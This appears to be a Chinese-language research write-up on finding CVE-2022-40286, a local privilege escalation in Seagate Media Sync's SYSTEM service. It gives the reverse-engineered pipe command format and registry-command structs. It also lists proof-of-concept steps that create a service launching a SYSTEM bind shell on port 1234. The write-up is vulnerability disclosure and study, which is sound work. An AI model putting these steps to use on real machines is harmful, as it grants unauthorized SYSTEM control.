利用Seagate service獲得system shell
這是挖掘 CVE-2022-40286 漏洞的記錄。
閑來無事,我上網隨便找了一個驅動來進行測試。我想找一個知名公司的產品,但是又不能是太偏太難懂的東西。
我最先發現了一個叫"Seagate Media Sync"的軟件,這是一個將文件復制到希捷無線硬盤上的工具。之后我安裝并運行了該軟件,然后我發現它創建了一個名為"MediaAggreService.exe"的后臺SYSTEM服務。

然后發現這個工具還有一個UI安裝程序。

我們一般常見的查找權限提升的方式是對低權限的進程(UI)和高權限服務(或驅動)之間的內部通信進行攻擊開始的。要想使用這個方法,首先第一步我們要能夠監控的來自UI的合法通信。然而,由于我沒有與之配套的希捷硬盤,我們只能使用這個程序中非常少的功能。

通過查看進程資源管理器發現,該服務還包含了一個處理MEDIA_AGGRE_PIPE.PIP管道消息的句柄。猜測這個管道可能是用于用戶界面(stxmediamanager.exe)和服務(MediaAggreService.exe)之間的通信。

通過觀察用戶界面,似乎我們可以點擊的唯一按鈕就是 "刷新"按鈕。希望這能夠讓我們監控到一些服務通信。我們將調試器連接到用戶界面進程,并在CreateFile和WriteFile函數上設置斷點。

如上所示,當我們點擊 "刷新 "按鈕時,UI進程使用CreateFile函數進行了一個命名管道連接。我們可以檢查之后調用的WriteFile函數來記錄消息數據的內容。以下是寫數據操作。


根據以上內容,我們可以猜測,第一個消息是一個4字節長度的字段,表示消息體的大小。第二條信息則是真實的命令數據。在這個事件中,它正在發送一條消息體長度為8個字節的命令。最初的4字節長度值與第二個WriteFile調用的nNumberOfBytesToWrite參數一致,這正符合我們的預期。我們現在可以檢查該信息傳遞過程中的接收端。在MediaAggreService.exe中的ConnectNamedPipe函數上設置一個斷點,該斷點應該會在UI客戶端調用CreateFile函數時觸發。

然后我們現在可以在ReadFile函數上設置一個斷點,這樣就可以看到從客戶端發送的數據。

現在我們已經找到了該服務中讀取數據的代碼,然后我們可以跟蹤代碼的執行流程。由于目前我們只能訪問用戶界面中的 "刷新 "命令,因此我們很有必要再進行一些靜態分析,看看還有哪些命令可用。
在花了一些時間分析代碼后,我可以看到每個命令都是以一個16位的簽名(0x4B5C)開始的。之后是一個16位的 主命令ID,然后是一個32位的次命令ID。

通過代碼我們也可以看到,該服務似乎只支持兩個主命令ID -- 0x10和0x20。發現這些線索后,我們現在可以解碼我們先前記錄的原始的 "刷新 "命令了。
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) (no message body)
在觀察分析了兩個主命令組的代碼后,我注意到0x10命令組包含了一個調用內部函數 MXOSRVSetRegKey 的條目,這個條目的次命令ID為0x400。

顧名思義,MXOSRVSetRegKey 函數的作用似乎就是設置一個注冊表值,如果該鍵不存在,那么就創建該鍵。

通過對這段代碼的分析表明,該命令很有可能會允許我們通過客戶端進程遠程創建或者修改注冊表字符串值。注冊表的根鍵被硬編碼為HKEY_LOCAL_MACHINE(在RegCreateKeyExW調用中推0x80000002)。在對這些函數進行逆向分析后,我們發現這個命令接收的消息數據格式如下所示。
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused)
由于類型字段被硬編碼為REG_SZ(在RegSetValueExW調用中push 1),所以上面的命令只支持字符串值 。
我還發現了另一個命令ID(0x410),它允許我們以同樣的方式設置REG_DWORD值。這個命令接收的消息數據格式如下。
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD)
從上面的命令數據布局可以看出,我們可以推斷出這兩個命令應該有一個相同的數據結構。我們可以用C結構來表示,如下。
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
WORD wSignature;
WORD wMajorCommandID;
DWORD dwMinorCommandID;
};
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
wchar_t wszKeyPath[2048];
wchar_t wszValueName[2048];
wchar_t wszValueString[2048];
DWORD dwValueStringLength;
DWORD dwDwordValue;
};
假設我們的上述猜想都是正確的,這也就意味著,任何用戶都能夠通過向seagate服務管道發送命令,向HKEY_LOCAL_MACHINE內的任何鍵寫入任意的注冊表值。如果這可以實現,這也就意味著我們對于權限的提升就有了一個很明確的利用途徑。
所以根據我們分析得到的結果,編寫一個自定義的管道客戶端來測試我們的猜想。

上面的代碼是連接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test內創建一個注冊表值。然后我們將會以普通用戶的身份來執行這個程序。
經過測試可以發現,這段代碼可以正常執行,并成功創建了目標注冊表值。對注冊表HKEY_LOCAL_MACHINE的操作也為攻擊提供了更多的可能性。在這種情況下,我們可以通過向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注冊表鍵添加條目來創建一個自定義服務。
通常我們不會部署一個單獨的exe來作為SYSTEM服務的有效載荷,而是將這一功能放到可執行文件中。這個執行程序將會首先檢查它是否是以SYSTEM用戶的身份運行。如果不是,它將會執行默認的行為,并通過希捷服務管道創建一個新的服務,如上所述。否則,如果exe檢測到它是以SYSTEM服務的身份運行,它將會部署主要的有效載荷,這將會創建一個shell。
總而言之,這個POC工具將執行以下步驟。
- 1. 使用CreateFile通過命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP連接到希捷服務。
- 2. 使用GetModuleFileName獲取當前exe的文件路徑。
- 3. 通過向希捷服務的命名管道發送注冊表命令,創建一個新的Windows服務。在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一個新條目,使用當前的exe作為進程路徑。
- 4. 重新啟動計算機。
- 5. Windows將在啟動時自動啟動我們新創建的服務。可執行程序將檢測到它是以SYSTEM身份運行的,并監聽1234端口的TCP連接。
- 6. 當用戶連接到localhost:1234時,漏洞服務將會以SYSTEM的身份啟動一個新的cmd.exe進程,stdin/stdout會被重定向到客戶端套接字。
執行后

重啟計算機

鏈接到 localhost:1234

最終,這個漏洞編號為 CVE-2022-40286。
